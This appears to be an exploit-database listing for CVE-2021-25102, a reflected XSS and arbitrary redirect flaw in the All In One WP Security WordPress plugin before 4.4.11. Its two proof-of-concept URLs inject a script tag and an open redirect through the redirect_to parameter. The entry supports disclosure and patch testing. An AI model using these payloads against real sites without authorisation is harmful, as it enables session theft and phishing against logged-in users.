Exploit for All In One WP Security < 4.4.11 - Authenticated Arbitrary Redirect / Reflected XSS CVE-2021-25102

Name: Exploit for All In One WP Security < 4.4.11 - Authenticated Arbitrary Redirect / Reflected XSS CVE-2021-25102
Rating: 5 (81 reviews)

2022-04-11 | CVSS 2.6

## https://sploitus.com/exploit?id=WPEX-ID:9B8A00A6-622B-4309-BBBF-FE2C7FC9F8B6
With a logged in user:

https://example.com/xxxxxx?redirect_to=https://wpscan.com
https://example.com/xxxxxx?redirect_to="><script>alert(/XSS/)</script>